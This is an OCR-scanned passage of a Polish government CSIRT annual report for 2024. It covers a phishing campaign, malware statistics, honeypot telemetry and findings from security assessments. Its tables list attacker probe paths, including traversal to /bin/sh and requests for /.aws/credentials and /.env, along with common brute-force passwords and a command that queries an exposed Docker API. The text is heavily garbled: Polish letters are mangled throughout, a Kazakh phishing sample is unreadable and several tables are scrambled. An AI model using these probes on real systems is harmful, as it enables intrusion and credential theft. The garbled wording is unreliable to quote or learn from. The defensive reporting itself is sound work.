Praktyka tego typu dotyczaca wykorzystywania podatnych urzadzen sieciowych do ukrywania lub
prowadzenia operacji jest rowniez wtasciwa dla wielu innych grup cyberofensywnych. Przejete urzadzenia
umozliwiajg zapewnienie przede wszystkim zakamuflowania zrddta atakow bez konieczno$ci nabywania
stosownych ustug w firmach hostingowych. Przyktadem tego typu zagrozen byty takze kampanie APT
wystepujace w roku 2023, gdzie grupa APT28 wykorzystywata podatne urzadzenia Ubiquiti dostepne

w sieci Internet do przejmowania hashy NTLM w $rodowisku Windows.
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W roku 2024 odnotowano takze wrogg aktywno$¢ wynikajacg z dziatan grup motywowanych

przede wszystkim finansowo. Przyktadem takiej grupy jest UAC-0050, ktora sama przedstawia sie jako
DaVinci Group i ma charakter cyberprzestepczy.

W odroznieniu od grup APT, ktdre starajg sie pozostawac ukryte i atakowaC precyzyjnie
dobrane cele, sposob dziatania grupy DaVinci jest odmienny. Grupa preferuje ataki o szerokim
zasiegu i nie zwraca uwagi na kwestie skutecznosci. Przyktadem tego typu atakow byta kampania
odnotowana w 2024 roku, w ramach ktorej do adresatow w Polsce przesytano wiadomosci® w jezyku

kazachskim, co nie wpisywato sie w zaden polski kontekst.

Od BexbBaes Epcin Kanatynel <tamara@guidetamara.nl= 03.12.2024, 08:02

Ternat LUApT BoiibIHILA KellikTipinreH Tenem

Kafbpnel KyH, 2824 ®eingeiH 6 XeNTOKCaHeHE Aedid apamwzga wacanfad xenicimre
cadkec woT-dakTypaus Teneyiniznl cypafmeiH, erep Tenem anwHbaca, CoTKa ®yrinyre
Mmaxbyp Gonameiz;

INeKTPOHOLE, KyXaTTapowHy kewipmeci (xoca Gepinepi).

Tenem MaceneciH coTcuz peTTeY XONbiH Tabameiz AereH OﬁﬂaMhIB.

KypMeTneH,
Bexbaee EpciH KaHaTynw

@ Kyskatrap.pdf 66,0 KB

Rysunek 53. Wiadomo$¢ phishingowa w jezyku kazachskim

Do wiadomosci o tresci stanowigcej upomnienie o optaceniu faktury dotgczony byt plik PDF?,
wskazujacy na dokument w sprawie. W dokumencie PDF umieszczony zostat link do pobrania archiwum
z serwisu BitBucket, wymagajacego wielokrotnego rozpakowania kolejnych archiwdw (7z -> ZIP -> RAR)
celem utrudnienia analizy przez systemy ochrony poczty. Ostatecznie dla uzytkownika dostepny byt
plik o podwdjnym rozszerzeniu .docx.exe®, ktory po uruchomieniu otwierat dokument DOCX wskazujacy
na konieczno$¢ uruchomienia trybu edycji w programie Word. W wyniku tego nastepowato uruchomienie
w tle pliku instalatora Word.msi® zawierajgcego narzedzie do zdalnego dostepu - Remote Utilities®, ktore,

po przeprowadzeniu stosownej konfiguracji do dziatan cyberofensywnych, znane jest pod nazwg RURAT.

%0T1566.001 - Initial Access - Phishing: Spearphishing Attachment

$1T1204.002 - Execution - User Execution: Malicious File

5271036.007 - Defense Evasion - Masquerading: Double File Extension

%371036.005 - Defense Evasion - Masquerading: Match Legitimate Name or Location
5 T1219 - Command and Control - Remote Access Software
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W 3TOT AOKYMEHT 3alMLLEH P

Rysunek 54. Dokument DOCX

Pomimo mniej zaawansowanych metod ataku, grupe DaVinci nalezy postrzegac jako majaca
potencjat do rozwoju swoich mozliwosci cyberofensywnych. Celem dziatan grupy jest jednak nie tylko
infekcja ofiar ztosliwym oprogramowaniem. Grupa takze najprawdopodobniej odpowiada za obserwowang
zarowno w Polsce, jakiw Ukrainie w ostatnim kwartale roku 2024 masowg kampanie mowigca o podtozeniu
tadunkow wybuchowych pod siedziby administracji panstwowej, za ktorg odpowiedzialnos¢ przyjeta
grupa Fire Cells Group. Aktywnosc ta przypisywana jest przez ukrainski CERT-UA do klastra UAC-0050%.
Wiadomosci w ramach kampanii wysytane byty z przejetych skrzynek pocztowych i sugerowaty, iz Fire
Cells Group planuje przeprowadzi¢ dziatania polegajace na wysadzeniu budynkow. W tym przypadku
wiadomosci nie niosty ze sobg zadnej ztosliwej zawartosci, a stuzyty jedynie przeprowadzeniu operacji

psychologicznej, majgcej na celu zastraszenie i wywotanie paniki.

% https://cert.gov.ua/article/6281009
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Pozostata aktywnos¢ sponsorowana

Innym przyktadem ataku, ktdry moze wpisywac sie w klaster aktywnosci typu state-sponsored
okreslany jako operacje informacyjne z wykorzystaniem technologii cyber, jest ten przeproawdzony
na Polska Agencje Prasowg w maju 2024 roku®. Przejawem tej aktywnosci byt atak przeprowadzony
w dniu 31 maja 2024 roku na Polska Agencje Prasowa, kiedy to w oficjalnym serwisie agencji zostata
zamieszczona dwukrotnie fatszywa depesza dotyczaca mobilizacji w Polsce”. Atak ten zostat
przeprowadzony ze wzgledu na mozliwos¢ dostepu do ustugi®®, dzigki ktdremu atakujacy mogli
opublikowac sfabrykowang informacje.

Nalezy zaznaczyd, ze cho¢ wskazany incydent miat ograniczone skutki, nalezy zaktadac, ze kolejne
tego typu dziatania moga réwniez mie¢ miejsce, zwigkszajac tym samym poziom zagrozenia dla infosfery
w Polsce. Ataki dezinformacyjne obserwowane do tej pory polegaty najczesciej na podmianie tresci
stron internetowych réznych podmiotéw publicznych i prywatnych poprzez podatne wersje CMS-dw.
Wskazany incydent $wiadczy o koniecznosci wzmozenia dziatan przez wszelkiego rodzaju podmioty
prasowe czy informacyjne w zakresie zapewnienia wtasciwych srodkow bezpieczenstwa przy dostepie

do serwisow informacyjnych oraz wtasnej infrastruktury.

% W nomenklaturze anglojezycznej okreslany jako cyber-enabled information operations.
5 https://www.pap.pl/aktualnosci/cyberatak-na-pap-w-serwisie-polskiej-agencji-prasowej-nieprawdziwa-depesza-o
58 T1190 - Initial Access - Exploit Public-Facing Application
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Oprogramowanie ztosliwe - statystyka

W 2024 roku Zespét CSIRT GOV przeprowadzit analize 15 315 plikow zgtoszonych przez podmioty

krajowego systemu cyberbezpieczenstwa, sposrod ktdrych 650 zostato rozpoznanych jako ztosliwe.

Ztosliwy . 650

Podejrzany . 760

Niezidentyfikowany I 420

Wykres 10. Wyniki analizy plikéw w roku 2024

Analiza realizowana w $rodowiskach izolowanych wykazata, iz sposrdd badanych plikow, 13 485

probek nie wykazywato zadnych cech ztosliwych, 650 zostato rozpoznanych jako ztosliwe, 760 jako

podejrzane, a 420 otrzymato status niezidentyfikowany (np. ze wzgledu na brak poprawnego uruchomienia

w $rodowisku laboratoryjnym).

llos¢ analizowanego oprogramowania ztosliwego wzgledem roku poprzedniego byta mniejsza

o prawie 15%. Ponizej przedstawiono miesigczny wolumen analizowanych plikow:
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Wykres 11. Statystyka miesieczna analizowanych plikow
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Charakterystyka analizowanych probek

Sposrad 650 zidentyfikowanych ztosliwych plikdw, 200 zostato sklasyfikowanych, m.in. za pomoca

regut typu YARA oraz Sigma, do ponizszych typéw oprogramowania szkodliwego:
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Wykres 12. Klasyfikacja oprogramowania zto$liwego

Dominujacyg kategorig wsrad analizowanych probek oprogramowania ztosliwego w 2024 roku

byto oprogramowanie HTML Phisher, Snake Keylogger, Formbook oraz Remcos.

HTML Phisher to rodzaj oprogramowania ztosliwego uzywanego w atakach phishingowych, ktore
maja na celu wytudzenie wrazliwych danych, takich jak loginy, hasta czy dane kart kredytowych. Ztosliwe
oprogramowanie tego typu dystrybuowane jest najczesciej poprzez wysytanie ofiarom sfatszowanych
wiadomosci e-mail zawierajgcych zataczniki w formacie HTML/HTM. Po otwarciu takiego zatgcznika
uzytkownik widzi strone imitujgcg dany serwis (np. bankowosc internetowg, panel logowania do poczty
internetowej lub platforme spotecznosciowg). Strona ta jest zaprojektowana tak, aby wygladata
niemal identycznie jak oryginalna witryna, co zwieksza szanse na skuteczne oszukanie uzytkownika.
Po wprowadzeniu danych, s one przesytane bezposrednio do atakujgcego najczesciej z wykorzystaniem
metod HTTP POST. Atak typu HTML Phisher jest szczegdlnie niebezpieczny, poniewaz czesto jest

w stanie omingc filtry antyspamowe oraz moze dziata¢ czesciowo offline, gdyz otwierany jest lokalnie

na urzadzeniu ofiary.
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Kolejny rodzaj oprogramowania Snake Keylogger, to ztosliwe oprogramowanie typu keylogger,

ktore rejestruje wszystkie wprowadzone przez uzytkownika znaki na klawiaturze. Gtdwne zagrozenie
w przypadku tego typu ztosliwych programow polega na mozliwosci przechwytywania danych logowania,
informacii o kartach ptatniczych czy wiadomosci. Snake Keylogger jest czesto dystrybuowany za pomocg
ztosliwych zatacznikow w wiadomosciach e-mail (np. dokumentow biurowych typu Word Lub PDF) lub jako
cze$¢ pakietu z innym oprogramowaniem. Po zainstalowaniu dziata w tle, zhierajac dane i przesytajac
je na zasob kontrolowany przez atakujacego. Cechg charakterystyczng tego oprogramowania jest jego
zdolno$¢ do unikania wykrycia przez standardowe programy antywirusowe. W nowszych wersjach
kompilacji oprogramowania istniejg takze funkcje monitorowania schowka systemu operacyjnego,
co pozwala na przechwytywanie oraz podmienianie wklejanych haset lub adresow kryptowalutowych.

Formbook to popularne ztosliwe oprogramowanie typu infostealer, ktdre koncentruje sig
na kradziezy danych uzytkownika, takich jak dane logowania, pliki oraz informacje przechowywane
w przegladarkach internetowych (np. zapisane hasta i ciasteczka). Formbook jest sprzedawany mu.in.
w formule Malware-as-a-Service, co czyni go tatwo dostepnym dla cyberprzestepcow. Dystrybuowany
jest gtownie za pomocq zainfekowanych zatgcznikow (np. plikéw PDF, dokumentow Office) lub linkdw
w wiadomosciach phishingowych. Po zainfekowaniu komputera, Formbook zapisuje dane w ukrytych
plikach i przesyta je na serwery kontrolowane przez atakujacego. Ten rodzaj ztosliwego oprogramowania
obstuguje funkcje, takie jak rejestrowanie klawiszy, wykonywanie zrzutow ekranu oraz pobieranie
i wykonywanie dodatkowych plikow przestanych przez atakujgcego.

Kolejng rodzing zto$liwego oprogramowania jest oprogramowanie ztoSliwe typu Remcos.
Remcos to narzedzie zdalnej administracji, ktore moze by¢ wykorzystywane do uzyskania petnej kontroli
nad zainfekowanym systemem. Oprogramowanie to umozliwia przeprowadzanie szeregu dziatan,
takich jak rejestrowanie klawiszy, wykonywanie zrzutow ekranu, monitorowanie kamery internetowej
czy mikrofonu, a takze uruchamianie dowolnych programdw i polecen na komputerze ofiary. Remcos
poczatkowo byt promowany jako legalne narzedzie do zarzadzania komputerami, jednak szybko stat sie
popularnym narzedziem wykorzystywanym przez grupy cyberprzestepcze. Najczesciej dystrybuowany
jest za pomoca kampanii phishingowych, w ktdrych ofiary s naktaniane do otwarcia zainfekowanych
zatgcznikow. Jego cechy obejmujg mozliwos¢ dziatania w trybie stealth, co utrudnia wykrycie go przez

standardowe systemy zabezpieczen.
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Klasyfikacja oprogramowania, bazujgca na analizie behawioralnej, wykazata nastepujacy podziat

najczestszych zachowan analizowanych plikdw lub zasobow internetowych w roku 2024:

1 Evader 528
2 Phisher 158
3 Trojan, Spyware, Evader 88
4 Trojan, Evader 40
5 Spyware, Evader 26
6 Trojan 20
7 Evader, Trojan, Spyware 13
8 Exploiter, Evader 2
9 Spyware 8
10 Exploiter 8

Tabela 1. Zachowania analizowanych plikéw/zasobéw internetowych

Zgodnie z powyzsza tabelg, analizowane probki wykazywaty nastepujace cechy:

e Evader - proba ominigcia zabezpieczen systemu operacyjnego, wykorzystanie funkcji anty-

debuggera, wykorzystanie zaciemnienia (obfuskaciji) kodu;

e Phisher - wykrycie naktaniania uzytkownika do wykonania okreslonego dziatania, udostepnienia

wrazliwych informacji, tj. hasta dostepowego, danych logowania czy danych kart ptatniczych;

e Trojan/Bot - identyfikacja zmiany stacji roboczej w klienta sieci botnet, umozliwienie zdalnego

dostepu do stacji roboczej (RAT);

e Spyware - identyfikacja kradziezy danych wrazliwych, w tym m. in. danych z przegladarek

internetowych, danych logowania;

e Exploiter - identyfikacja wykorzystania podatnosci w oprogramowaniu lub systemie

operacyjnym.
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W ponizszej tabeli przedstawiono 10 najczesciej identyfikowanych regut dla analiz

przeprowadzonych w $rodowisku sandbox, ktdre wptynety na koricowa ocene badanego pliku lub zasobu

internetowego.

Identyfikacja zaszyfrowanego pliku PDF oraz
zawierajgcego formularze
Rozpoznanie pliku przez silniki antywirusowe
Rozpoznanie domeny, adresu URL przez silniki
antywirusowe
Modyfikacja kontekstu watku w innym procesie
(thread injection)

Proba kradziezy danych wrazliwych z przegladarki
(historia, hasta, ciasteczka)

Préba kradziezy danych uwierzytelniajacych do
skrzynki pocztowej
(poprzez dostep do plikéw/danych w rejestrze)
Rozpoznanie oprogramowania ztosliwego na
podstawie regut YARA community
Identyfikacja zaszyfrowanych danych w dokumencie
(ochrona hastem)

Zapis do obcych regionéw pamieci przez probke
Rozpoznanie wypakowanego z probki pliku przez
silniki antywirusowe

Tabela 2. NajczeSciej identyfikowane reguty
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Ponizej przedstawiono 10 najczesciej wystepujacych w 2024 roku typow plikow, sposrdd

poddanych analizie w systemach automatycznych:

B~ w

O 00 3 o8 On

Najwigkszg liczbe plikow poddanych analizie w systemach automatycznych stanowity pliki

w formacie PDF, dokumenty biurowe (w tym zawierajgce makra, funkcje DDE), kontenery OLE2, wiadomosci

Adobe Portable Document Format
Word Microsoft Office Open XML Format
document
Microsoft Word document
Excel Microsoft Office Open XML Format
document
Generic OLE2 / Multistream Compound File
Win32 Executable (generic)

E-Mail message (Var. 1)

Generic XML (ASCII)

Win32 Executable (generic) Net Framework
iCalendar - vCalendar

Tabela 3. Najczesciej wystepujace typy plikéw

e-mail, pliki XML, aplikacje Win32 oraz pliki kalendarza.
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ARAKIS GOV



ARAKIS GOV - statystyka

System ARAKIS GOV to dedykowany, rozproszony system wczesnego ostrzegania o zagrozeniach
teleinformatycznych wystepujacych na styku sieci wewnetrznej z siecig Internet. Gtdwnym zadaniem
systemu jest wykrywanie i zautomatyzowane opisywanie zagrozen wystepujagcych w sieciach
teleinformatycznych na podstawie agregacji, analizy i korelacji danych z roznych zrddet.

W 2024 roku w sieciach teleinformatycznych podmiotow uczestniczacych w projekcie ARAKIS GOV
zanotowano tacznie 1947 791 593 przeptywy, co przetozyto sie na 5 446 734 wygenerowane przez system
alarmy, w tym 3 322 068 o priorytecie pilnym, tzn. wymagajacych natychmiastowej reakcji administratorow.
W poréwnaniu z rokiem 2023 zauwazy¢ mozna systematyczny wzrost liczby przeptywow o ok. 30 miliondw
w skali miesigca, porownujac do linii aproksymujacej.

Suma Przeplywoéw: 1 947 791 593
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Wykres 13. Rozktad zarejestrowanych przeplywéw z podziatem na miesigce

Wsrod zanotowanych alarmow:

e 3322068 alarmow miato priorytet pilny, tzn. wymagato natychmiastowej reakcji na zagrozenie

ze strony administratorow, niosto duze ryzyko przetamania zabezpieczen;

e 42 860 alarméw miato priorytet wysoki, tzn. wymagato wzmozonej uwagi w kontekscie

zagrozenia wskazanego w alarmie, niosto $rednie ryzyko przetamania zabezpieczen;

e 30 572 alarmy miaty priorytet Sredni, tzn. byty to alarmy informujace o dobrze znanym

zagrozeniu, ktdre niosty mate ryzyko przetamania zabezpieczen;

e 2 051 234 alarmy miaty priorytet niski, tzn. byty to alarmy czysto informacyjne dotyczace

aktualnej sytuacji na styku sieci wewnetrznej z siecig Internet.
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Niski, 37,66% Pilny, 60,99%

Sredni, 0,56%

¢
Wysoki, 0,79%

Wykres 14. Procentowy rozkfad alarméw systemu ARAKIS GOV ze wzgledu na priorytet

Kazdy z zanotowanych alarmdw posiada doktadne dane techniczne, pozwalajace na jego
weryfikacje oraz jest szczegotowo klasyfikowany przez system. W ramach klasyfikacji kazdy alarm moze

zostac przypisany do jednego z pigciu podstawowych typow:
e Typ1- komunikacja do ztosliwych adresow;
e Typ 2 - skanowania;
e Typ 3 - wykryte znane ataki;
e Typ 4 - wykryte nieopisane ataki;

e Typ 5 - infekcje wewnetrzne.
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56,60%

37,66%

3,87%
1,70%

0,16%
= o =

Typ1 Typ 2 Typ 3 Typ &4 Typ 5

Wykres 15. Procentowy podziat alarméw systemu ARAKIS GOV ze wzgledu na typ

W 2024 roku alarmy systemu ARAKIS GOV Typu 1stanowity 56,60 % catkowitej liczby. Wygenerowane
alarmy wynikaty z prob nawigzywania komunikacji z adresami IP lub domenami uznanymi za ztosliwe lub
mogacymi stanowic zagrozenie.

Wsrad alarmow Typu 2 w 2024 roku najwigcej przeptywow zostato zanotowanych w podmiotach
skategoryzowanych jako Infrastruktura Krytyczna (42,45%). Porownujac wyniki do roku 2023,
zaobserwowaC mozna wzrost zainteresowania sieciami operatorow infrastruktury krytycznej.
Wygenerowane alarmy pozwalajg okresli¢ kierunki zainteresowan osab i/lub grup przeprowadzajacych

skanowania.

Pozostate . 4,40%
Stuzby . 6,06%
Ministerstwa - 1,37%
Instytucje _ 36,42%
Infrastruktura Krytyczna _ 42,45%

Wykres 16. Procentowy podziat przeptywdw alarméw typu 2 w instytucjach




Alarmy Typu 3 i 4 stanowity odpowiednio 1,70% oraz 0,16% wszystkich przeptywow, co wprost

wynika z wygenerowania sygnatury IDS w oparciu o obserwowane komunikacje lub dopasowania
do sygnatury IDS niewidzianej w systemie od pewnego czasu. Ma to miejsce zaréwno przy wygenerowaniu
nowej sygnatury IDS, jak i przy aktualizacji uprzednio wygenerowanej sygnatury.

Alarmy Typu 5 to infekcje wewnetrzne identyfikowane na podstawie niepozadanej komunikacji
z elementami sieci objetymi systemem ARAKIS GOV.

Najbardziej aktywnym krajem pod katem liczby generowanych przeptywdw w 2024 roku jest
ponownie USA (26% przeptywdw). W porownaniu do 2023 roku, w pierwszej 10 najaktywniejszych
panstw powtarza sie osiem krajow oraz dodatkowo po raz pierwszy Azerbejdzan i Specjalny Region

Administracyjny Chinskiej Republiki Ludowej Hong Kong.

Kanada - 2%
Niemcy - 3%
Hong Kong - 4%
Wielka Brytania - 5%
Azerbejdzan [N 5%
Rosia [ 7~
chiny |G =%
Niderlandy || NG 7
sugaria [N o
s+ NN 2%

Wykres 17. Rozktad zrédet atakow na sieci monitorowane przez system ARAKIS GOV pod katem liczby
generowanych przeptywow

Wartym zaznaczenia jest fakt, iz liczba przeptywow z poszczegolnych krajow nalezgcych do grupy
TOP 10 stanowi az 80% wszystkich wygenerowanych przeptywow zanotowanych przez system ARAKIS
GOV w 2024 roku. Stanowi to spadek wzgledem roku 2023 o 2 punkty procentowe.

Biorac pod uwage specyfike sieci Internet (tzw. brak granic), infrastruktura teleinformatyczna
podmiotdw generujgcych przeptywy w strone systemu ARAKIS GOV moze by¢ rozproszona oraz
zlokalizowana naterytorium dowolnych panstw na catym swiecie. W zwigzku z powyzszym zaprezentowana

statystyka odzwierciedla lokalizacje ztosliwej infrastruktury sieciowej w poszczegolnych krajach.
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ARAKIS GOV - charakterystyka wybranych zagrozen

W tabeli ponizej zaprezentowano informacje o portach docelowych, na ktére wygenerowano
najwiekszg liczbe przeptywow celem identyfikacji istniejgcych zasobow teleinformatycznych badz prdb

ich eksploitacji.

1 22 209 655 929 SSH

2 445 77 442 296 SMB

3 80 40 697 305 HTTP

4 23 40195 708 Telnet

5 443 21396 903 HTTPS

6 8728 18 182 036 Mikrotik API
7 2345 10173 172 DBM

8 3389 9 858 114 RDP

9 8080 9528 472 HTTP/S
10 25 9 444 386 SMTP

Tabela 4. Zidentyfikowane w 2024 roku skanowania i proby eksploitacji ustug na podstawie danych z systemu
ARAKIS GOV

W roku 2024 najczesciej wykorzystywanym protokotem byto SSH dziatajgce na porcie 22 oraz SMB
dziatajacy na porcie 445. Fakt ten pokazuje, ze gtdwnym celem osob/grup prowadzacych rekonesans jest
zidentyfikowanie i zdobycie zdalnego dostepu do podatnych maszyn znajdujacych sie w sieci Internet oraz
proby dostepu do zasobow. Mozna réwniez w dalszym ciggu zaobserwowac znaczace zainteresowanie
ustugg API dla routerow Mikrotik, co moze mie¢ zwigzek z podatnoscig CVE-2023-41570 dotyczacg btedu
implementacji list kontroli dostepu do REST API.

W 2024 roku zidentyfikowano 24 264123 alerty reguty SNORT do obserwowanego ruchu sieciowego
zwigzanego z wykrytym ruchem wykorzystujgcym protokét SSH. W porownaniu do roku 2023 (9 667 575
alertow) jest to ponad dwukrotny wzrost oraz ponad czterokrotny wzrost wzgledem roku 2022, w ktérym

obserwowany ruch sieciowy zostat dopasowany do tej reguty 5 489 178 razy.

91




1 24 264 123 ET SCAN Potential SSH Scan OUTBOUND

2 6 734759 ET SCAN SSH BruteForce Tool with fake PUTTY version

3 6003 979 ET SCAN Suspicious inbound to MSSQL port 1433

4 4 921 445 ET INFO SSH-2.0-Go version string Observed in Network Traffic
5 3206 663 ET SCAN Suspicious inbound to mySQL port 3306

6 1794 056 ET SCAN Suspicious inbound to PostgreSQL port 5432

7 957 138 ET SCAN Suspicious inbound to Oracle SQL port 1521

8 906 753 ET SCAN Sipvicious User-Agent Detected (friendly-scanner)
9 608 523 ET SCAN Sipvicious Scan

10 354 846 ET SCAN Behavioral Unusu?r:fl‘:z:itoﬁﬁ traffic, Potential Scan or

Tabela 5. Najczesciej dopasowane reguty do ruchu sieciowego widzianego przez system ARAKIS GOV

Ponizej przedstawiono 20 najpopularniejszych nazw uzytkownika oraz haset stosowanych
do prob nieautoryzowanego taczenia sig do ustug w sieciach teleinformatycznych podmiotéw wdrozonych
do systemu ARAKIS GOV.

V00 001NN —

rol — =N . ey _, =y _, pE=y ==
OV uNOoOUON~N®WOWNS=O

root
admin
user
ubuntu
sa
test
postgres
oracle
debian
ftpuser
git
deploy
guest
steam
mysql
es

administrator

dev
hadoop
userl

123456
123
password
admin
12345678
1234
1
root
test
12345
M
123456789
P@sswOrd
123123
abcl123
ubuntu
1234567890
admin123
gwerty
lgaz@WSX

Tabela 6. Top 20 logindw, haset wykorzystywanych w potaczeniach do ustug ARAKIS GOV
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Ponizej przedstawiono 20 najpopularniejszych URL najczesciej wykorzystywanych przy

rozpoznaniu ustug http/s w sieciach teleinformatycznych podmiotow uczestniczacych w projekcie
ARAKIS GOV.

/index.php

/.env

/.git/config

/_profiler/phpinfo
/cgi-bin/luci/%3Bstok%3D/locale
/login.asp

/robots.txt

/ueoserver/web/
/.aws/credentials
[egi-bin/../..[..[.[.1./..]..]..]../bin/sh
/cgi-
bin/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%
252e/bin/sh

/.aws/config

/phpinfo

Jaws/credentials

/sitemap.xml

/phpinfo.php

/login.rsp
/actuator/gateway/routes
/?XDEBUG_SESSION_START=phpstorm
/boaform/admin/formLogin

Tabela 7. 20 najpopularniejszych URL wykorzystywanych najczesciej przy rozpoznaniu ustug http/s

W wyniku analizy danych agregowanych przez system ARAKIS GOV, Zespét CSIRT GOV odnotowat

takze liczne proby wykorzystania znanych podatnosci. Ponizej przedstawiono wybrane z nich wraz

z przyktadowymi zapytaniami wysytanymi do honeypotdw bedacych czesciag systemu ARAKIS GOV.

TP-Link Archer AX21 (CVE-2023-1389)
Obserwowane byty proby atakow wykorzystujace podatnosé CVE-2023-1389 o stopniu krytycznosci

w skali CVSS:3.1 okreslonym na 8.8, polegajacg na mozliwosci nieuwierzytelnionego wstrzykiwania

polecen w interfejsie API locale dostepnym za posrednictwem interfejsu zarzadzania siecia.

URL powigzany z podatnoscia:
[cgi-bin/luci/%3Bstok%3D/locale
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e Geoserver (CVE-2024-36401 oraz CVE-2024-36404)
Na poczatku drugiej potowy 2024 roku Zespét CSIRT GOV zarejestrowat zwigkszong aktywnosé

zwigzang z eksploitacjg podatnosci w oprogramowaniu GeoServer. Podatnosci te zostaty oznaczone
jako CVE-2024-36401 oraz CVE-2024-36404, o stopniu krytycznosci w skali CVSS:3.1 okreslonym na 9.8
w obydwu przypadkach.

Podatnos$¢ CVE-2024-36401 pozwalata na zdalne wykonanie kodu przez nieuwierzytelnionego
atakujacego z wykorzystaniem wtasciwie spreparowanych parametréw zadania OGC (Open Geospatial
Consortium). Podatnos¢ CVE-2024-36404 umozliwiata atakujgcemu zdalne wykonanie kodu, jesli
aplikacja uzywata niektorych funkcji GeoTools do oceny wyrazen XPath dostarczonych przez uzytkownika.

GeoServer to oprogramowanie open source, za pomocg ktdrego uzytkownicy otrzymuja
mozliwo$¢ udostepniania oraz edycji danych geoprzestrzennych. W wersjach poprzedzajacych 2.23.6,
2.24.4 i 2.252 wiele parametrow zadania OGC umozliwiato nieuwierzytelnionemu uzytkownikowi
zdalne wykonanie kodu poprzez specjalnie spreparowane dane wejsciowe w domyslnej instalacji
przedmiotowego oprogramowania. Powodem wystapienia luki jest niebezpieczna funkcja w bibliotece
GeoTools wykorzystywanej przez GeoServer. Wspomniana funkcja oceny XPath jest przeznaczona
do uzytku wytacznie przez ztozone typy obiektdw, jednakze stosowana jest réwniez - nieprawidtowo -
do oceny prostych typéw obiektéw. Potwierdzono, iz na skutek powyzszej anomalii luke te mozna byto
wykorzystac za pomoca zadan 0GC, takich jak WFS GetFeature, WFS GetPropertyValue, WMS GetMap, WMS
GetFeaturelnfo, WMS GetLegendGraphic i WPS Execute. Atakujacy za pomoca zadania wykorzystujgcego
powyzsze parametry mogg doprowadzi¢ do wykonania dowolnego ztosliwego kodu po przetworzeniu

zadania przez podatng instancje oprogramowania GeoServer.

URL powiazany z podatnoscia:

[geoserver/web/
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Ocena bezpieczenstwa - podsumowanie

Jednym z zadan realizowanych w ramach Zespotu CSIRT GOV jest ocena bezpieczenstwa
systemow teleinformatycznych instytucji administracji rzadowej oraz infrastruktury krytycznej®.
W 2024 roku, zgodnie z planem przyjetym na ten rok, przeprowadzone zostaty oceny w 14 instytucjach,
w ktdrych oceniono tgcznie 64 segmenty sieci/systemow teleinformatycznych oraz 26 domen/subdomen
i stron WWW¢?,

W ramach wykonanych ocen bezpieczenistwa Zespé6t CSIRT GOV przeprowadzit szereg testow
majacych na celu identyfikacje istotnych podatnosci wptywajacych na bezpieczenstwo infrastruktury
teleinformatycznej ocenianych podmiotow. Do rzeczonych testow nalezato pasywne oraz aktywne
zhieranie informacii, identyfikacja podatnosci architektury systemdw i ustug sieciowych, aplikacji www,
wykorzystanie podatnosci oraz analiza wptywu wykorzystania czynnikow inzynierii spoteczne;.

W wyniku przeprowadzonych ocen bezpieczenstwa Zespot CSIRT GOV dokonat identyfikacji
szeregu podatnosci od stopnia niskiego, az do btedéw nalezacych do kategorii krytycznych. Ponizszy
wykres przedstawia zestawienie zidentyfikowanych podatnosci, ktdre zostaty opisane w przygotowanych
raportach z przeprowadzonych ocen bezpieczenstwa i przestane do instytucji, ktorych systemy podlegaty

ocenie.
Niskie, 93 Krytyczne, 117

-,

Wysokie, 121

Srednie, 627

Wykres 18. Wykryte podatnosci w 2024 r.

% Art. 32a ustawy z dnia 24 maja 2002 r. o Agenciji Bezpieczenstwa Wewnetrznego oraz Agencji Wywiadu oraz Agencji Wywiadu oraz
Rozporzadzenie Prezesa Rady Ministrow z dnia 19 lipca 2016 r. w sprawie przeprowadzania oceny bezpieczenstwa zwigzanej z zapobieganiem
zdarzeniom o charakterze terrorystycznym

¢ Decyzja nr 42 Szefa Agencji Bezpieczenstwa Wewnetrznego z dnia 22 wrzesnia 2023 r. w sprawie przeprowadzania przez Agencje
Bezpieczenstwa Wewnetrznego ocen bezpieczenstwa systemdw teleinformatycznych na 2024 r.
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Jako najwazniejszg grupe podatnos$ci identyfikowano zagrozenia krytyczne oraz wysokie. Ponizej

ujawnione przyktady:

Niezaktualizowane wersje oprogramowania wystepujace w szeregu systemow oraz ustug

wykorzystywanych przez podmioty, dotyczace przede wszystkim:
e Apache HTTP Server
e (OpenSSL
e VMware

Niewspierane wersje oprogramowania
e Microsoft Windows 2008 R2 std. - koniec wsparcia 14 stycznia 2020 r.%!
e Microsoft SQL Server 2008 R2 - koniec wsparcia 9 lipca 2019 r.¢2
e FreeBSD 12 - koniec wsparcia 11 grudnia 2020 r.®
e PHP 7.4 - koniec wsparcia 28 listopada 2022 r.**

e VMware 6.7.x - koniec wsparcia 15 listopada 2023 r.®

Ustugi / protokoty podatne na ataki

e NTP

e Telnet

e (OpenSSH

e JDWP (Java Debug Wire Protocol)
e SSL

¢ https://learn.microsoft.com/pl-pl/troubleshoot/windows-server/windows-server-eos-fag/end-of-support-windows-server-2008-2008r2
8 https://learn.microsoft.com/pl-pl/previous-versions/troubleshoot/sql/install/end-support-sql-server-2008

8 https://www.freebsd.org/releases/

8 https://www.php.net/eol.php

¢ https://knowledge.broadcom.com/external/article?legacyld=89305
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Dostep anonimowy, bez wymaganego uwierzytelnienia lub na postawie domysinych haset:

SMTP

Memcached
SMB
phpMyAdmin
SNMP

Redis
Docker API
NFS

ElasticSearch

VMware Aria

Podatnosci aplikacji webowych
XSS
Enumeracja uzytkownikow
Ominiecie uwierzytelnienia, w tym ominiecie 2FA
Blind SQL Injections
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Ocena bezpieczenstwa - przyktadowe wykryte podatnosci

1. Niezahezpieczony dostep do Docker API

Dostep rownoznaczny z dostepem do serwera jako uzytkownik z najwyzszymi uprawnieniami - root.

WARNING: APl is accessible on http://0.0.0.0:2375 without encryption. Access to the remote
APl is equivalent to root access on the host. Refer to the 'Docker daemon attack surface' section
in the documentation for more information: https:/ /docs.docker.com/go/attack-surface/

Rysunek 55. Ostrzezenie z Docker API

CONTAINER ID IMAGE COMMAND CREATED
STATUS PORTS NAMES

f80082c999dd << ..cede. >> "/docker-entrypoint..." 2 weeks ago  Up 2 weeks
80/tcp <<...clecie... >>

bce63deb6359 << _cedie.. >> "/docker-entrypoint..." 2 weeks ago  Up 2 weeks

80/tcp <<...clecie... >>
830f0260c9da << .. .dede.. >>

Rysunek 56. Wynik polecenia: $ docker -H adres.ip:2375 ps

Z przejetych zasobdw/informacji umieszczonych w kontenerach Dockera kompromitacji ulegty
m.in. konta domenowe AD, dostepy do baz danych, poswiadczenia do ustugi Amazon S3 itp. Konta
domenowe wykorzystywaty proste hasta, jak na przyktad Wiosna2024! lub Wiosna!2024.

Kontenery  utrzymywane przez ustuge Dockera zostaty rdwniez niewtasciwie
